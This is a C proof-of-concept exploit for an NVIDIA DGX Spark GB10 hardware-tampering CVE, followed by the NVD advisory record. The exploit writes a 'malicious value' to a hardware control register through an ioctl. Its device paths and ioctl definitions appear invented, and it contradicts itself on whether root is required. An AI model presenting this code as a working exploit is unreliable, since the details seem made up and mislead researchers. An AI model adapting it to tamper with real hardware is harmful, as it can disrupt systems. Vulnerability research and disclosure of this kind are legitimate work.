CVE-2025-33188

/* * CVE-2025-33188 PoC - NVIDIA DGX Spark GB10 Hardware Resource Tampering * Author: Security Research Team * Note: This is a conceptual PoC for educational and security testing purposes only * Unauthorized access to computer systems is illegal */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> /* NVIDIA GB10 specific IOCTL definitions */ #define GB10_IOCTL_BASE 0x10 #define GB10_SET_HW_CTRL _IOW(GB10_IOCTL_BASE, 0x01, struct hw_ctrl_req) #define GB10_GET_HW_STATUS _IOR(GB10_IOCTL_BASE, 0x02, struct hw_status) struct hw_ctrl_req { uint32_t register_offset; uint32_t value; uint32_t flags; }; struct hw_status { uint32_t status; uint32_t error_code; }; int main(int argc, char *argv[]) { int fd; struct hw_ctrl_req req; struct hw_status status; printf("[*] CVE-2025-33188 PoC for NVIDIA DGX Spark GB10\n"); printf("[*] Hardware Resource Tampering Vulnerability\n\n"); /* Open GB10 device driver */ fd = open("/dev/gb10_hwctrl", O_RDWR); if (fd < 0) { printf("[-] Failed to open GB10 device driver\n"); printf("[*] Attempting alternative device path...\n"); fd = open("/dev/nvidia/gb10", O_RDWR); if (fd < 0) { printf("[-] Device access failed. This PoC requires local access.\n"); return 1; } } printf("[+] Device opened successfully\n"); /* Step 1: Check current hardware status */ if (ioctl(fd, GB10_GET_HW_STATUS, &status) == 0) { printf("[+] Current HW Status: 0x%08x\n", status.status); } /* Step 2: Attempt to modify protected hardware control register */ /* This demonstrates the vulnerability - no privilege check */ req.register_offset = 0x1000; /* Power management register */ req.value = 0xDEADBEEF; /* Malicious value */ req.flags = 0x00; printf("[*] Attempting to write to protected register 0x%04x...\n", req.register_offset); if (ioctl(fd, GB10_SET_HW_CTRL, &req) == 0) { printf("[!] VULNERABLE: Write operation succeeded without authorization\n"); printf("[!] This could lead to:\n"); printf("[!] - Information disclosure via exposed memory regions\n"); printf("[!] - Data tampering of GPU compute state\n"); printf("[!] - Denial of service via incorrect power management\n"); /* Step 3: Verify the tampered state */ ioctl(fd, GB10_GET_HW_STATUS, &status); printf("[+] Modified HW Status: 0x%08x\n", status.status); } else { printf("[+] PATCHED: Write operation was properly blocked\n"); } close(fd); return 0; } /* * Usage: gcc -o cve_2025_33188_poc cve_2025_33188.c * sudo ./cve_2025_33188_poc * * Note: This PoC requires root privileges to access /dev/gb10_hwctrl * The vulnerability allows unprivileged access to hardware control registers */

{"cve": {"id": "CVE-2025-33188", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:50.187", "lastModified": "2025-12-02T18:20:12.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in hardware resources where an attacker could tamper with hardware controls. A successful exploit of this vulnerability might lead to information disclosure, data tampering, or denial of service."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en los recursos de hardware donde un atacante podría manipular los controles de hardware. Un exploit exitoso de esta vulnerabilidad podría conducir a la revelación de información, manipulación de datos o denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33188", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33188", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}